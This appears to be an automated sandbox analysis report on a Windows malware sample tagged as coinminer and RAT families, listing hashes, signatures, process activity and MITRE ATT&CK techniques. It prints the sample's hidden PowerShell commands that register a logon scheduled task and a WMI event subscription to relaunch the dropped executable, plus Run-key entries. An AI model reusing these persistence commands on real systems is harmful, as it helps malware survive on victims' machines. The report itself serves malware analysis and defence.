6826e0df86d9c2b142801c691e8e8ad0e3fe4a83d7a379432e899af2f57c822b

Analysis

max time kernel
149s
max time network
136s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 17:51

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General

Target
2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Size 8.9MB
Sample260522-wfb7qaet9s
SHA256 6826e0df86d9c2b142801c691e8e8ad0e3fe4a83d7a379432e899af2f57c822b
MD5 4b19874c5ee1d9bd6ea789ba6009e05c
SHA1 81c4dd4dec41a3f553de4ec5582a7badf387a520
SHA512 2fb79da801befef6e06045a899be171b59849bd52202654a689deb4cc091673e5b4033c53774503e0db960e4c785d29f8268def24c33483b04748bbe99ac0393
SSDEEP 49152:yVENV/BxDMSjGqTPzkF+yWU2tIwubt3YRWxCRGvomjH5lmQ9cpriWYFENgt0sfwM:yVEXJ9XPbHTmWLG9DQYr5A7E
TLSH
T1B9963867FD6968E9C0AEC17189729112BB71BC490B2133D32B50F7286F76BD06EB9740
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

execution persistence

Malware Config

Signatures

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x001d00000002b353-4.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2456	powershell.exe
3436	powershell.exe
3712	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-4207815190.tmp	2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-2543689014.tmp	ovd_8549adb01751.exe

Executes dropped EXE 1 IoCs

pid	Process
1892	ovd_8549adb01751.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-6cdb93f0 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_8549adb01751.exe\""	2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-6cdb93f0 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_8549adb01751.exe\""	ovd_8549adb01751.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3712	powershell.exe
3712	powershell.exe
2456	powershell.exe
2456	powershell.exe
3436	powershell.exe
3436	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeIncreaseQuotaPrivilege	3712	powershell.exe
Token: SeSecurityPrivilege	3712	powershell.exe
Token: SeTakeOwnershipPrivilege	3712	powershell.exe
Token: SeLoadDriverPrivilege	3712	powershell.exe
Token: SeSystemProfilePrivilege	3712	powershell.exe
Token: SeSystemtimePrivilege	3712	powershell.exe
Token: SeProfSingleProcessPrivilege	3712	powershell.exe
Token: SeIncBasePriorityPrivilege	3712	powershell.exe
Token: SeCreatePagefilePrivilege	3712	powershell.exe
Token: SeBackupPrivilege	3712	powershell.exe
Token: SeRestorePrivilege	3712	powershell.exe
Token: SeShutdownPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeSystemEnvironmentPrivilege	3712	powershell.exe
Token: SeRemoteShutdownPrivilege	3712	powershell.exe
Token: SeUndockPrivilege	3712	powershell.exe
Token: SeManageVolumePrivilege	3712	powershell.exe
Token: 33	3712	powershell.exe
Token: 34	3712	powershell.exe
Token: 35	3712	powershell.exe
Token: 36	3712	powershell.exe
Token: SeIncreaseQuotaPrivilege	3712	powershell.exe
Token: SeSecurityPrivilege	3712	powershell.exe
Token: SeTakeOwnershipPrivilege	3712	powershell.exe
Token: SeLoadDriverPrivilege	3712	powershell.exe
Token: SeSystemProfilePrivilege	3712	powershell.exe
Token: SeSystemtimePrivilege	3712	powershell.exe
Token: SeProfSingleProcessPrivilege	3712	powershell.exe
Token: SeIncBasePriorityPrivilege	3712	powershell.exe
Token: SeCreatePagefilePrivilege	3712	powershell.exe
Token: SeBackupPrivilege	3712	powershell.exe
Token: SeRestorePrivilege	3712	powershell.exe
Token: SeShutdownPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeSystemEnvironmentPrivilege	3712	powershell.exe
Token: SeRemoteShutdownPrivilege	3712	powershell.exe
Token: SeUndockPrivilege	3712	powershell.exe
Token: SeManageVolumePrivilege	3712	powershell.exe
Token: 33	3712	powershell.exe
Token: 34	3712	powershell.exe
Token: 35	3712	powershell.exe
Token: 36	3712	powershell.exe
Token: SeIncreaseQuotaPrivilege	3712	powershell.exe
Token: SeSecurityPrivilege	3712	powershell.exe
Token: SeTakeOwnershipPrivilege	3712	powershell.exe
Token: SeLoadDriverPrivilege	3712	powershell.exe
Token: SeSystemProfilePrivilege	3712	powershell.exe
Token: SeSystemtimePrivilege	3712	powershell.exe
Token: SeProfSingleProcessPrivilege	3712	powershell.exe
Token: SeIncBasePriorityPrivilege	3712	powershell.exe
Token: SeCreatePagefilePrivilege	3712	powershell.exe
Token: SeBackupPrivilege	3712	powershell.exe
Token: SeRestorePrivilege	3712	powershell.exe
Token: SeShutdownPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeSystemEnvironmentPrivilege	3712	powershell.exe
Token: SeRemoteShutdownPrivilege	3712	powershell.exe
Token: SeUndockPrivilege	3712	powershell.exe
Token: SeManageVolumePrivilege	3712	powershell.exe
Token: 33	3712	powershell.exe
Token: 34	3712	powershell.exe
Token: 35	3712	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 3712	2080	2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	81
PID 1892 wrote to memory of 2456	1892	ovd_8549adb01751.exe	85
PID 1892 wrote to memory of 3436	1892	ovd_8549adb01751.exe	88

C:\Users\Admin\AppData\Local\Temp\2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_8549adb01751.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_d082e05a' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3712

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_8549adb01751.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_8549adb01751.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_8549adb01751.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_d082e05a' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_fd082e05a'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_cd082e05a'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_8549adb01751.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_fd082e05a'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_cd082e05a'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
MD5 9f3107a91c0a75eb75418f89fe7dcbcd
SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
TLSH
T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 32bc08c5e4d3fb225bce68f45cff596f7463a64f45be77de5a512808e782d047
MD5 6d6ac658f00b84b8a1c1ca801bdd218f
SHA1 3bb362ccbd1fb324230f8f1586ff24b673bcb3b1
SHA512 fa2ca80eeff78323d194bcceffbe9e77abf161ecd42ba3fffea6f201b110216976daf918a641996d0b9f75566626bc15ba2d720ef183454efb612f83233fc68f
TLSH
T1BD216533B3ECC125C8D9117A208CAD00B2B5C3C7449E8F8B7A84C619957F9DADB641A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_1dudlyy3.ffm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1dudlyy3.ffm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent-3320519794.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-3320519794.tmp
Size 8.9MB
SHA256 6826e0df86d9c2b142801c691e8e8ad0e3fe4a83d7a379432e899af2f57c822b
MD5 4b19874c5ee1d9bd6ea789ba6009e05c
SHA1 81c4dd4dec41a3f553de4ec5582a7badf387a520
SHA512 2fb79da801befef6e06045a899be171b59849bd52202654a689deb4cc091673e5b4033c53774503e0db960e4c785d29f8268def24c33483b04748bbe99ac0393
SSDEEP 49152:yVENV/BxDMSjGqTPzkF+yWU2tIwubt3YRWxCRGvomjH5lmQ9cpriWYFENgt0sfwM:yVEXJ9XPbHTmWLG9DQYr5A7E
TLSH
T1B9963867FD6968E9C0AEC17189729112BB71BC490B2133D32B50F7286F76BD06EB9740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3712-16-0x00007FF400E80000-0x00007FF400E90000-memory.dmp

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memory/3712-15-0x0000025901630000-0x0000025901640000-memory.dmp

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memory/3712-13-0x0000025966DD0000-0x0000025966DF2000-memory.dmp

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memory/3712-23-0x0000025903950000-0x000002590396C000-memory.dmp

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memory/3712-24-0x0000025903B80000-0x0000025903C33000-memory.dmp

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memory/3712-25-0x0000025966DB0000-0x0000025966DBA000-memory.dmp

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memory/3712-30-0x0000025966F50000-0x0000025966F6C000-memory.dmp

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memory/3712-43-0x0000025901630000-0x0000025901640000-memory.dmp

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memory/3712-7-0x0000025901630000-0x0000025901640000-memory.dmp

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memory/3712-6-0x0000025901630000-0x0000025901640000-memory.dmp

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